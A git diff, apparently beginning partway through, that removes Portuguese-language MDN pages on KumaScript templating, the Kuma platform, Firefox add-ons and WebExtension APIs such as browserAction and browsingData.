The size of the file in bytes
-
author
-
The username of the person who uploaded the file
-
mime
-
The MIME type of the file
-
url
-
The URL at which the file can be found
-
- -

Trabalhar com listas de etiqueta

- -

The env.tags and env.review_tags variables return arrays of tags. You can work with these in many ways, of course, but here are a couple of suggestions.

- -
Looking to see if a specific tag is set
- -

You can look to see if a specific tag exists on a page like this:

- -
if (env.tags.indexOf("tag") != −1) {
-  // The page has the tag "tag"
-}
-
- -
Iterating over all the tags on a page
- -

You can also iterate over all the tags on a page, like this:

- -
env.tag.forEach(function(tag) {
-  // do whatever you need to do, such as:
-  if (tag.indexOf("a") == 0) {
-    // this tag starts with "a" - woohoo!
-  }
-});
- -

APIs e  Módulos

- -

KumaScript offers some built-in methods and APIs for KumaScript macros.  Macros can also use module.exports to export new API methods.

- -

API changes require updating the KumaScript engine or macros via a pull request to the KumaScript repository.

- -

Métodos integrados

- -

This manually-maintained documentation is likely to fall out of date with the code. With that in mind, you can always check out the latest state of built-in APIs in the KumaScript source. But here is a selection of useful methods exposed to templates:

- -
-
md5(string)
-
Returns an MD5 hex digest of the given string.
-
template("name", ["arg0", "arg1", ..., "argN"])
-
Executes and returns the result of the named template with the given list of parameters.
-
Example: <%- template("warning", ["foo", "bar", "baz"]) %>.
-
Example using the domxref macro: <%- template("domxref", ["Event.bubbles", "bubbles"]) %>.
-
This is a JavaScript function. So, if one of the parameters is an arg variable like $2, do not put it in quotes. Like this: <%- template("warning", [$1, $2, "baz"]) %>. If you need to call another template from within a block of code, do not use <% ... %>. Example: myvar = "<li>" + template("LXRSearch", ["ident", "i", $1]) + "</li>";
-
require(name)
-
Loads another template as a module; any output is ignored. Anything assigned to module.exports in the template is returned.
-
Used in templates like so: <% var my_module = require('MyModule'); %>.
-
cacheFn(key, timeout, function_to_cache)
-
Using the given key and cache entry lifetime, cache the results of the given function. Honors the value of env.cache_control to invalidate cache on no-cache, which can be sent by a logged-in user hitting shift-refresh.
-
request
-
Access to mikeal/request, a library for making HTTP requests. Using this module in KumaScript templates is not yet very friendly, so you may want to wrap usage in module APIs that simplify things.
-
log.debug(string)
-
Outputs a debug message into the script log on the page (i.e. the big red box that usually displays errors).
-
- -

Módulos de API integrados

- -

There's only one API built in at the moment, in the kuma namespace. You can see the most up to date list of methods under kuma from the KumaScript source code, but here are a few:

- -
-
kuma.inspect(object)
-
Renders any JS object as a string, handy for use with log.debug(). See also: node.js util.inspect().
-
- -
-
kuma.htmlEscape(string)
-
Escapes the characters &, <, >, " to &amp, &lt;, &gt;, &quot;, respectively.
-
kuma.url
-
See also: node.js url module.
-
kuma.fetchFeed(url)
-
Fetch an RSS feed and parse it into a JS object. See also: InsertFeedLinkList
-
- -

Criar módulos

- -

Using the built-in require() method, you can load a template as a module to share common variables and methods between templates. A module can be defined in a template like this:

- -
<%
-module.exports = {
-    add: function (a, b) {
-        return a + b;
-    }
-}
-%>
-
- -

Assuming this template is saved under https://github.com/mdn/kumascript/tree/master/macros as MathLib.ejs, you can use it in another template like so:

- -
<%
-var math_lib = require("MathLib");
-%>
-The result of 2 + 2 = <%= math_lib.add(2, 2) %>
-
- -

And, the output of this template will be:

- -
The result of 2 + 2 = 4
-
- -

Módulos carregados automaticamente

- -

There are a set of modules editable as wiki templates that are automatically loaded and made available to every template. This set is defined in the configuration file for the KumaScript service - any changes to this requires an IT bug to edit configuration and a restart of the service.

- -

For the most part, these attempt to provide stand-ins for legacy DekiScript features to ease template migration. But, going forward, these can be used to share common variables and methods between templates:

- - - -

Note: You might notice that the DekiScript modules use a built-in method named buildAPI(), like so:

- -
<% module.exports = buildAPI({
-    StartsWith: function (str, sub_str) {
-        return (''+str).indexOf(sub_str) === 0;
-    }
-}); %>
-
- -

The reason for this is because DekiScript is case-insensitive when it comes to references to API methods, whereas JavaScript is strict about uppercase and lowercase in references. So, buildAPI() is a hack to try to cover common case variations in DekiScript calls found in legacy templates.

- -
-

Com isso em mente, por favor, não utilize buildAPI() nos novos módulos.

-
- -

Dicas e avisos

- -

Depuração

- -

A useful tip when debugging. You can use the log.debug() method to output text to the scripting messages area at the top of the page that's running your template. Note that you need to be really sure to remove these when you're done debugging, as they're visible to all users! To use it, just do something like this:

- -
<%- log.debug("Some text goes here"); %>
-
- -

You can, of course, create more complex output using script code if it's helpful.

- -

Colocação em cache

- -

KumaScript templates are heavily cached to improve performance. For the most part, this works great to serve up content that doesn't change very often. But, as a logged-in user, you have two options to force a page to be regenerated, in case you notice issues with scripting:

- -
    -
  • Hit Refresh in your browser. This causes KumaScript to invalidate its cache for the content on the current page by issuing a request with a Cache-Control: max-age=0 header.
  • -
  • Hit Shift-Refresh in your browser. This causes KumaScript to invalidate cache for the current page, as well as for any templates or content used by the current page by issuing a request with a Cache-Control: no-cache header.
  • -
- -

Utilizar palavras-chave na pesquisa para abrir páginas modelo

- -

When using templates, it's common to open the template's code in a browser window to review the comments at the top, which are used to document the template, its parameters, and how to use it properly. To quickly access templates, you can create a Firefox search keyword, which gives you a shortcut you can type in the URL box to get to a template more easily.

- -

To create a search keyword, open the bookmarks window by choosing "Show all bookmarks" in the Bookmarks menu, or by pressing Control-Shift-B (Command-Shift-B on Mac). Then from the utility ("Gear") menu in the Library window that appears, choose "New Bookmark...".

- -

This causes the bookmark editing dialog to appear. Fill that out as follows:

- -
-
Name
-
A suitable name for your search keyword; "Open MDN Template" is a good one.
-
Location
-
https://github.com/mdn/kumascript/blob/master/macros/%s
-
Tags {{optional_inline}}
-
A list of tags used to organize your bookmarks; these are entirely optional and what (if any) tags you use is up to you.
-
Keyword
-
The shortcut text you wish to use to access the template. Ideally, this should be something short and quick to type, such as simply "t" or "mdnt".
-
Description {{optional_inline}}
-
A suitable description explaining what the search keyword does.
-
- -

The resulting dialog looks something like this:

- -

- -

Then click the "Add" button to save your new search keyword. From then on, typing your keyword, then a space, then the name of a macro will open that macro in your current tab. So if you used "t" as the keyword, typing t ListSubpages will show you the page at {{TemplateLink("ListSubpages")}}.

- -

Cookbook

- -

This section will list examples of common patterns for templates used on MDN, including samples of legacy DekiScript templates and their new KumaScript equivalents.

- -

Force templates used on a page to be reloaded

- -

It bears repeating: To force templates used on a page to be reloaded after editing, hit Shift-Reload. Just using Reload by itself will cause the page contents to be regenerated, but using cached templates and included content. A Shift-Reload is necessary to invalidate caches beyond just the content of the page itself.

- -

Recovering from "Unknown Error"

- -

Sometimes, you'll see a scripting message like this when you load a page:

- -
Kumascript service failed unexpectedly: <class 'httplib.BadStatusLine'>
- -

This is probably a temporary failure of the KumaScript service. If you Refresh the page, the error may disappear. If that doesn't work, try a Shift-Refresh. If, after a few tries, the error persists - file an IT bug for Mozilla Developer Network to ask for an investigation.

- -

Broken wiki.languages() macros

- -

On some pages, you'll see a scripting error like this:

- -
Syntax error at line 436, column 461: Expected valid JSON object as the parameter of the preceding macro but...
-
- -

If you edit the page, you'll probably see a macro like this at the bottom of the page:

- -
\{{ wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) }}
-
- -

To fix the problem, just delete the macro. Or, replace the curly braces on either side with HTML comments <!-- --> to preserve the information, like so:

- -
<!-- wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) -->
-
- -

Because Kuma supports localization differently, these macros aren't actually needed any more. But, they've been left intact in case we need to revisit the relationships between localized pages. Unfortunately, it seems like migration has failed to convert some of them properly.

- -

Finding the Current Page's Language

- -

In KumaScript, the locale of the current document is exposed as an environment variable:

- -
var lang = env.locale;
-
- -

The env.locale variable should be reliable and defined for every document.

- -

Reading the contents of a page attachment

- -

You can read the contents of an attached file by using the mdn.getFileContent() function, like this:

- -
<%
-  var contents = mdn.getFileContent(fileUrl);
-  ... do stuff with the contents ...
-%>
-
- -

or

- -
<%-mdn.getFileContent(fileObject)%>
-
- -

In other words, you may specify either the URL of the file to read or as a file object. The file objects for a page can be accessed through the array env.files. So, for example, to embed the contents of the first file attached to the article, you can do this:

- -
<%-mdn.getFileContent(env.files[0])%>
-
- -
Nota: provavelmente não quer tentar incorporar o conteúdo de um ficheiro não texto desta forma, já que o conteúdo bruto seria injetado como texto. Isto serve para permitir que aceda aos conteúdos dos anexos de texto.
- -

If the file isn't found, an empty string is returned. There is currently no way to tell the difference between an empty file and a nonexistent one. But if you're putting empty files on the wiki, you're doing it wrong.

- -

Localizar conteúdo de modelo

- -

Templates are not translated like wiki pages, rather any single template might be used for any number of locales.

- -

So the main way to output content tailored to the current document locale is to pivot on the value of env.locale. There are many ways to do this, but a few patterns are common in the conversion of legacy DekiScript templates:

- -

If/else blocks in KumaScript

- -

The KumaScript equivalent of this can be achieved with simple if/else blocks, like so:

- -
<% if ("fr" == env.locale) { %>
-<%- template("CSSRef") %> « <a title="Référence_CSS/Extensions_Mozilla" href="/fr/docs/Référence_CSS/Extensions_Mozilla">Référence CSS:Extensions Mozilla</a>
-<% } else if ("ja" == env.locale) { %>
-<%- template("CSSRef") %> « <a title="CSS_Reference/Mozilla_Extensions" href="/ja/docs/CSS_Reference/Mozilla_Extensions">CSS リファレンス:Mozilla 拡張仕様</a>
-<% } else if ("pl" == env.locale) { %>
-<%- template("CSSRef") %> « <a title="Dokumentacja_CSS/Rozszerzenia_Mozilli" href="/pl/docs/Dokumentacja_CSS/Rozszerzenia_Mozilli">Dokumentacja CSS:Rozszerzenia Mozilli</a>
-<% } else if ("de" == env.locale) { %>
-<%- template("CSSRef") %> « <a title="CSS_Referenz/Mozilla_CSS_Erweiterungen" href="/de/docs/CSS_Referenz/Mozilla_CSS_Erweiterungen">CSS Referenz: Mozilla Erweiterungen</a>
-<% } else { %>
-<%- template("CSSRef") %> « <a title="CSS_Reference/Mozilla_Extensions" href="/en-US/docs/CSS_Reference/Mozilla_Extensions">CSS Reference:Mozilla Extensions</a>
-<% } %>
-
- -

Depending on what text editor is your favorite, you may be able to copy & paste from the browser-based editor and attack this pattern with a series of search/replace regexes to get you most of the way there.

- -

My favorite editor is MacVim, and a series of regexes like this does the bulk of the work with just a little manual clean up following:

- -
%s#<span#^M<span#g
-%s#<span lang="\(.*\)" .*>#<% } else if ("\1" == env.locale) { %>#g
-%s#<span class="script">template.Cssxref(#<%- template("Cssxref", [#
-%s#)</span> </span>#]) %>
-
- -

Your mileage may vary, and patterns change slightly from template to template. That's why the migration script was unable to just handle this automatically, after all.

- -

String variables and switch

- -

Rather than switch between full chunks of markup, you can define a set of strings, switch them based on locale, and then use them to fill in placeholders in a single chunk of markup:

- -
<%
-var s_title = 'Firefox for Developers';
-switch (env.locale) {
-    case 'de':
-        s_title = "Firefox für Entwickler";
-        break;
-    case 'fr':
-        s_title = "Firefox pour les développeurs";
-        break;
-    case 'es':
-        s_title = "Firefox para desarrolladores";
-        break;
-};
-%>
-<span class="title"><%= s_title %></span>
-
- -

Utilizar mdn.localString()

- -

A recent addition to the MDN:Common module is mdn.localString(), used like this:

- -
<%
-var s_title = mdn.localString({
-  "en-US": "Firefox for Developers",
-  "de": "Firefox für Entwickler",
-  "es": "Firefox para desarrolladores"
-});
-%>
-<span class="title"><%= s_title %></span>
-
- -

This is more concise than the switch statement, and may be a better choice where a single string is concerned. However, if many strings need to be translated (e.g., as in CSSRef), a switch statement might help keep all the strings grouped by locale and more easily translated that way.

- -

When the object does not have the appropriate locale, the value of "en-US" is used as the initial value.

- -

Consulte também

- - diff --git a/files/pt-pt/mdn/yari/index.html b/files/pt-pt/mdn/yari/index.html deleted file mode 100644 index 1950f2c849..0000000000 --- a/files/pt-pt/mdn/yari/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: 'Kuma: Plataforma wiki da MDN' -slug: MDN/Yari -tags: - - Kuma - - MDN Meta - - Metadados MDN -translation_of: MDN/Kuma -original_slug: MDN/Kuma ---- -
{{MDNSidebar}}{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Kuma é o código Django que é utilizado para os 'Documentos da Web na MDN'.

- -

{{SubpagesWithSummaries}}

- -

Participe na plataforma Kuma

- -

Para participar na plataforma Kuma:

- - diff --git a/files/pt-pt/mozilla/add-ons/index.html b/files/pt-pt/mozilla/add-ons/index.html deleted file mode 100644 index 2b69084b27..0000000000 --- a/files/pt-pt/mozilla/add-ons/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Extras (Add-ons) -slug: Mozilla/Add-ons -tags: - - Extensões - - Extras - - Landing - - Mozilla - - extensão -translation_of: Mozilla/Add-ons ---- -
{{AddonSidebar}}
- -

Os extras permitem que os responsáveis pelo desenvolvimento estendam e modifiquem a funcionalidade do Firefox. As mesmas são criadas utilizando as tecnologias da Web padrão - CSS, HTML e JavaScript - mais algumas APIs de JavaScript dedicadas. Entre outras coisas, um extra poderia:

- -
    -
  • Modificar e alterar a aparência ou conteúdo de um site em particualr
  • -
  • Modificar a interface de utilizador do Firefox
  • -
  • Adicionar novas funcionalidades ao Firefox
  • -
- -

Desenvolver extras

- -

Existem, de momento, vários conjuntos de  ferramentas utilizadas para desenvolver Aplicações Complementares mas as  chamadas Extensões da Web vão tornar-se o padrão pelo final de 2017. Das restantes a expectativa é de que se tornem obsoletas dentro do mesmo periodo de tempo.

- -

Neste documento vai encontrar informação sobre as opções disponíveis para desenvolver aplicações complementares para que possa decidir qual a melhor para si agora e no futuro.

- -

Criar um Novo Extra

- -

Se está a desenvolver uma nova aplicação complementar recomendamos que escolha entre um dos dois seguintes métodos. Até que a transição para as Extensões da Web esteja finalizada, existirão prós e contras em relação a ambos os métodos. Por favor leia atentamente as opções para decidir qual a melhor para funcionar com a sua aplicação.

- -
    -
  • -
    -

    Extensões da Web

    - -

    As Extensões da Web são o futuro das Aplicações Complementares para o Firefox. Se a puder utilizar, a API das Extensões da Web será a melhor escolha. Pode começar a desenvolver e publicar Extensões da Web imediatamente, mas as mesmas ainda estão num estado embrionário.
    -
    - A maioria das funcionalidades da API Extensões da Web estão também disponíveis  no Firefox para Android.

    - -

    We're preparing a first full release for Firefox 48.

    -
    - Saber mais
  • -
  • -
    -

    SDK de Extras

    - -

    O SDK de Extra proporcina várias APIs para desenvolvimento de extras para o Firefox, e uma ferramenta para desenvolvimento, teste e finalização.

    - -

    Também pode executar as extensões de SDK de Extras no Firefox para Android.

    - -

    We encourage you to use only high-level APIs because this will make it easier to migrate to WebExtensions down the road.

    -
    - Learn more
  • -
- -

Migrar um Extra Existente

- -

There are changes coming to Firefox in the next year that will make browsing more reliable for users, and creating add-ons easier for developers. Your add-on may require updating to maintain its compatibility, but once this is done and the transition is complete, your add-on will be more interoperable, secure, and future-proof than ever.

- -

We've created resources, migration paths, office hours, and more, to ensure you have the support you need to get through the transition.

- -

To get started, use the add-on compatibility checker to see if your add-on will be affected.

- -

Publicação de extras

- -

Addons.mozilla.org, commonly known as "AMO," is Mozilla's official site for developers to list add-ons, and for users to discover them. By uploading your add-on to AMO, you can participate in our community of users and creators, and find an audience for your add-on.

- -

You are not required to list your add-on on AMO, but starting with Firefox 40, your code must be signed by Mozilla or users won't be able to install it.

- -

For an overview of the process of publishing your add-on, see Signing and distributing your add-on.

- -

Outros tipos de extras

- -

Generally, when people speak of add-ons they're referring to extensions, but there are a few other add-on types that allow users to customize Firefox. Those add-ons include:

- -
    -
  • Lightweight themes are a simple way to provide limited customization for Firefox.
  • -
  • Mobile add-ons are add-ons for Firefox for Android. Note, though, that we intend to deprecate some of the technology underlying these APIs. In the future, WebExtensions will be fully supported on Firefox for Android.
  • -
  • Search engine plugins add new search engines to the browser's search bar.
  • -
  • Dicionários do utilizador são complementos que o deixam verificar a ortografia em diferentes idiomas.
  • -
  • Pacotes de idioma são complementos que o deixam ter mais idiomas disponíveis para a interface do utilizador do Firefox.
  • -
- -
-

Contacte-nos

- -

Pode utilizar as hiperligações abaixo para obetr ajuda, manter-se atualizado com as notícias relacionadas com os complementos, e dar-nos a sua opinião/comentário.

- -

Fórum de extras

- -

Utilize o fórum de conversação sobre os complementos para discutir todos aspetos do desenvolvimento de complementos e obter ajuda.

- -

Listas de endereços/discussão

- -

Use the dev-addons list to discuss development of the add-ons ecosystem, including the development of the WebExtensions system and of AMO:

- - - -

IRC

- -

If you're a fan of IRC, you can get in touch at:

- -
    -
  • #addons (discussion of the add-ons ecosystem)
  • -
  • #extdev (general discussion of add-on development)
  • -
  • #webextensions (discussion of WebExtensions in particular)
  • -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html deleted file mode 100644 index 3dfff5adde..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Anatomia de uma extensão -slug: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension -original_slug: Mozilla/Add-ons/WebExtensions/Anatomia_de_uma_extensao ---- -
{{AddonSidebar}}
- -

Uma extensão consiste numa coleção de ficheiros, empacotados para distribuição e instalação. Neste artigo, nós passaremos rapidamente pelos ficheiros que podem estar presentes numa extensão.

- -

manifest.json

- -

This is the only file that must be present in every extension. It contains basic metadata such as its name, version and the permissions it requires. It also provides pointers to other files in the extension.

- -

This manifest can also contain pointers to several other types of files:

- - - -

- -

See the manifest.json reference page for all the details.

- -

Other than those referenced from the manifest, an extension can include additional Extension pages with supporting files.

- -

Scripts de fundo (segundo plano)

- -

Extensions often need to maintain long-term state or perform long-term operations independently of the lifetime of any particular web page or browser window. That is what background scripts are for.

- -

Background scripts are loaded as soon as the extension is loaded and stay loaded until the extension is disabled or uninstalled. You can use any of the WebExtension APIs in the script, as long as you have requested the necessary permissions.

- -

Especificar os scripts de fundo

- -

You can include a background script using the background key in "manifest.json":

- -
// manifest.json
-
-"background": {
-  "scripts": ["background-script.js"]
-}
- -

You can specify multiple background scripts: if you do, they run in the same context, just like multiple scripts that are loaded into a single web page.

- -

Ambiente de script de fundo

- -

APIS de DOM

- -

Background scripts run in the context of special pages called background pages. This gives them a window global, along with all the standard DOM APIs provided by that object.

- -

You do not have to supply your background page. If you include a background script, an empty background page will be created for you.

- -

However, you can choose to supply your background page as a separate HTML file:

- -
// manifest.json
-
-"background": {
-  "page": "background-page.html"
-}
- -

APIs da Extensão da Web

- -

Background scripts can use any of the WebExtension APIs in the script, as long as their extension has the necessary permissions.

- -

Acesso cruzado da origem

- -

Background scripts can make XHR requests to any hosts for which they have host permissions.

- -

Conteúdo da Web

- -

Background scripts do not get direct access to web pages. However, they can load content scripts into web pages and can communicate with these content scripts using a message-passing API.

- -

Política de segurança do conteúdo

- -

Background scripts are restricted from certain potentially dangerous operations, like the use of eval(), through a Content Security Policy. See Content Security Policy for more details on this.

- -

Barras laterais, janelas (popups), opções de páginas

- -

A sua extensão pode inclur vários componentes da interface do utilizador cujo conteúdo é definido utilizando um documento HTML:

- - - -

For each of these components, you create an HTML file and point to it using a specific property in manifest.json. The HTML file can include CSS and JavaScript files, just like a normal web page.

- -

All of these are a type of Extension pages, and unlike a normal web page, your JavaScript can use all the same privileged WebExtension APIs as your background script. They can even directly access variables in the background page using {{WebExtAPIRef("runtime.getBackgroundPage()")}}.

- -

Páginas de extensão

- -

You can also include HTML documents in your extension which are not attached to some predefined user interface component. Unlike the documents you might provide for sidebars, popups, or options pages, these don't have an entry in manifest.json. However, they do also get access to all the same privileged WebExtension APIs as your background script.

- -

You'd typically load a page like this using {{WebExtAPIRef("windows.create()")}} or {{WebExtAPIRef("tabs.create()")}}.

- -

See Extension pages to learn more.

- -

Scripts de conteúdo

- -

Use content scripts to access and manipulate web pages. Content scripts are loaded into web pages and run in the context of that particular page.

- -

Content scripts are extension-provided scripts which run in the context of a web page; this differs from scripts which are loaded by the page itself, including those which are provided in {{HTMLElement("script")}} elements within the page.

- -

Content scripts can see and manipulate the page's DOM, just like normal scripts loaded by the page.

- -

Unlike normal page scripts, they can:

- -
    -
  • Make cross-domain XHR requests.
  • -
  • Use a small subset of the WebExtension APIs.
  • -
  • Exchange messages with their background scripts and can in this way indirectly access all the WebExtension APIs.
  • -
- -

Content scripts cannot directly access normal page scripts but can exchange messages with them using the standard window.postMessage() API.

- -

Usually, when we talk about content scripts, we are referring to JavaScript, but you can inject CSS into web pages using the same mechanism.

- -

See the content scripts article to learn more.

- -

Recursos de acessibilidade da Web

- -

Web accessible resources are resources such as images, HTML, CSS, and JavaScript that you include in the extension and want to make accessible to content scripts and page scripts. Resources which are made web-accessible can be referenced by page scripts and content scripts using a special URI scheme.

- -

For example, if a content script wants to insert some images into web pages, you could include them in the extension and make them web accessible. Then the content script could create and append img tags which reference the images via the src attribute.

- -

To learn more, see the documentation for the web_accessible_resources manifest.json key.

- -

 

- -

 

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html deleted file mode 100644 index 2b520684db..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Ação do navegador -slug: Mozilla/Add-ons/WebExtensions/API/browserAction -tags: - - API - - Ação do navegador - - Extensões - - Extensões da Web - - Extras - - Interface - - Não Padrão - - Referencia -translation_of: Mozilla/Add-ons/WebExtensions/API/browserAction ---- -
{{AddonSidebar}}
- -

Adiciona um botão à barra de ferramentas do navegador.

- -

Uma ação do navegador é um botão na barra de ferramentas do navegador.

- -

You can associate a popup with the button. The popup is specified using HTML, CSS and JavaScript, just like a normal web page. JavaScript running in the popup gets access to all the same WebExtension APIs as your background scripts, but its global context is the popup, not the current page displayed in the browser. To affect web pages you need to communicate with them via messages.

- -

If you specify a popup, it will be shown — and the content will be loaded — when the user clicks the icon. If you do not specify a popup, then when the user clicks the icon an event is dispatched to your extension.

- -

You can define most of a browser action's properties declaratively using the browser_action key in the manifest.json.

- -

With the browserAction API, you can:

- -
    -
  • use {{WebExtAPIRef("browserAction.onClicked")}} to listen for clicks on the icon.
  • -
  • get and set the icon's properties — icon, title, popup, and so on. You can get and set these globally across all tabs, or for a specific tab by passing the tab ID as an additional argument.
  • -
- -

Tipos

- -
-
{{WebExtAPIRef("browserAction.ColorArray")}}
-
An array of four integers in the range 0-255 defining an RGBA color.
-
{{WebExtAPIRef("browserAction.ImageDataType")}}
-
Pixel data for an image. Must be an ImageData object (for example, from a {{htmlelement("canvas")}} element).
-
- -

Funções

- -
-
{{WebExtAPIRef("browserAction.setTitle()")}}
-
Sets the browser action's title. This will be displayed in a tooltip.
-
{{WebExtAPIRef("browserAction.getTitle()")}}
-
Gets the browser action's title.
-
{{WebExtAPIRef("browserAction.setIcon()")}}
-
Sets the browser action's icon.
-
{{WebExtAPIRef("browserAction.setPopup()")}}
-
Sets the HTML document to be opened as a popup when the user clicks on the browser action's icon.
-
{{WebExtAPIRef("browserAction.getPopup()")}}
-
Gets the HTML document set as the browser action's popup.
-
{{WebExtAPIRef("browserAction.openPopup()")}}
-
Open the browser action's popup.
-
{{WebExtAPIRef("browserAction.setBadgeText()")}}
-
Sets the browser action's badge text. The badge is displayed on top of the icon.
-
{{WebExtAPIRef("browserAction.getBadgeText()")}}
-
Gets the browser action's badge text.
-
{{WebExtAPIRef("browserAction.setBadgeBackgroundColor()")}}
-
Sets the badge's background color.
-
{{WebExtAPIRef("browserAction.getBadgeBackgroundColor()")}}
-
Gets the badge's background color.
-
{{WebExtAPIRef("browserAction.enable()")}}
-
Enables the browser action for a tab. By default, browser actions are enabled for all tabs.
-
{{WebExtAPIRef("browserAction.disable()")}}
-
Disables the browser action for a tab, meaning that it cannot be clicked when that tab is active.
-
- -

Eventos

- -
-
{{WebExtAPIRef("browserAction.onClicked")}}
-
Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup.
-
- -

Compatibilidade de navegador

- -

{{Compat("webextensions.api.browserAction")}}

- - - -

{{WebExtExamples("h2")}}

- -
Reconhecimentos - -

This API is based on Chromium's chrome.browserAction API. This documentation is derived from browser_action.json in the Chromium code.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html deleted file mode 100644 index 14dbd68d3a..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: browsingData -slug: Mozilla/Add-ons/WebExtensions/API/browsingData -tags: - - API - - Add-ons - - Extensions - - NeedsTranslation - - Non-standard - - Reference - - TopicStub - - WebExtensions - - browsingData -translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData ---- -
{{AddonSidebar}}
- -

Enables extensions to clear the data that is accumulated while the user is browsing.

- -

In the browsingData API, browsing data is divided into types:

- -
    -
  • browser cache
  • -
  • cookies
  • -
  • downloads
  • -
  • history
  • -
  • local storage
  • -
  • plugin data
  • -
  • saved form data
  • -
  • saved passwords
  • -
- -

You can use the {{WebExtAPIRef("browsingData.remove()")}} function to remove any combination of these types. There are also dedicated functions to remove each particular type of data, such as {{WebExtAPIRef("browsingData.removePasswords()", "removePasswords()")}}, {{WebExtAPIRef("browsingData.removeHistory()", "removeHistory()")}} and so on.

- -

All the browsingData.remove[X]() functions take a {{WebExtAPIRef("browsingData.RemovalOptions")}} object, which you can use to control two further aspects of data removal:

- -
    -
  • how far back in time to remove data
  • -
  • whether to remove data only from normal web pages, or also from hosted web apps and add-ons. Note that this option is not yet supported in Firefox.
  • -
- -

Finally, this API gives you a {{WebExtAPIRef("browsingData.settings()")}} function that gives you the current value of the settings for the browser's built-in "Clear History" feature.

- -

To use this API you must have the "browsingData" API permission.

- -

Types

- -
-
{{WebExtAPIRef("browsingData.DataTypeSet")}}
-
Object used to specify the type of data to remove: for example, history, downloads, passwords, and so on.
-
{{WebExtAPIRef("browsingData.RemovalOptions")}}
-
Object used to specify how far back in time to remove data, and whether to remove data added through normal web browsing, by hosted apps, or by add-ons.
-
- -

Methods

- -
-
{{WebExtAPIRef("browsingData.remove()")}}
-
Removes browsing data for the data types specified.
-
{{WebExtAPIRef("browsingData.removeCache()")}}
-
Clears the browser's cache.
-
{{WebExtAPIRef("browsingData.removeCookies()")}}
-
Removes cookies.
-
{{WebExtAPIRef("browsingData.removeDownloads()")}}
-
Removes the list of downloaded files.
-
{{WebExtAPIRef("browsingData.removeFormData()")}}
-
Clears saved form data.
-
{{WebExtAPIRef("browsingData.removeHistory()")}}
-
Clears the browser's history.
-
{{WebExtAPIRef("browsingData.removeLocalStorage()")}}
-
Clears any local storage created by websites.
-
{{WebExtAPIRef("browsingData.removePasswords()")}}
-
Clears saved passwords.
-
{{WebExtAPIRef("browsingData.removePluginData()")}}
-
Clears data associated with plugins.
-
{{WebExtAPIRef("browsingData.settings()")}}
-
Gets the current value of settings in the browser's "Clear History" feature.
-
- -

Browser compatibility

- - - -

{{Compat("webextensions.api.browsingData", 2)}}

- - - -

{{WebExtExamples("h2")}}

- -
Acknowledgements - -

This API is based on Chromium's chrome.browsingData API.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html deleted file mode 100644 index e67f9b8c70..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: browsingData.removePluginData() -slug: Mozilla/Add-ons/WebExtensions/API/browsingData/removePluginData -tags: - - API - - Dados de navegação - - Extensões - - Extensões da Web - - Extras - - Referencia - - metodo - - remover Dados do Plug-in -translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData/removePluginData ---- -
{{AddonSidebar()}}
- -

Limpa dados guardados nos plug-ins do navegador.

- -

Pode utilizar o parâmetro removalOptions, que é um objeto {{WebExtAPIRef("browsingData.RemovalOptions")}}, para:

- -
    -
  • limpar apenas os dados do plug-in guardados depois de algum tempo
  • -
  • controlar se deve limpar apenas os dados guardados pelos plug-ins em execução nas páginas da Web normais ou limpar os dados guardados pelos plug-ins em execução nas aplicações hospedadas e também nas extensões.
  • -
- -

Esta é uma função assíncrona que retorna um Promise.

- -

Sintaxe

- -
var removing = browser.browsingData.removePluginData(
-  removalOptions            // RemovalOptions object
-)
-
- -

Parâmetros

- -
-
removalOptions
-
object. A {{WebExtAPIRef("browsingData.RemovalOptions")}} object, which may be used to clear only plugin data stored after a given time, and whether to clear only data stored by plugins running in normal web pages or to clear data stored by plugins running in hosted apps and extensions as well.
-
- -

Devolver valor

- -

A Promise that will be fulfilled with no arguments when the removal has finished. If any error occurs, the promise will be rejected with an error message.

- -

Compatibilidade de navegador

- - - -

{{Compat("webextensions.api.browsingData.removePluginData")}}

- -

Exemplos

- -

Remove data stored by plugins in the last week:

- -
function onRemoved() {
-  console.log("removed");
-}
-
-function onError(error) {
-  console.error(error);
-}
-
-function weekInMilliseconds() {
-  return 1000 * 60 * 60 * 24 * 7;
-}
-
-var oneWeekAgo = (new Date()).getTime() - weekInMilliseconds();
-
-browser.browsingData.removePluginData({since: oneWeekAgo}).
-then(onRemoved, onError);
- -

Remove all data stored by plugins:

- -
function onRemoved() {
-  console.log("removed");
-}
-
-function onError(error) {
-  console.error(error);
-}
-
-browser.browsingData.removePluginData({}).
-then(onRemoved, onError);
- -

{{WebExtExamples}}

- -
Reconhecimentos - -

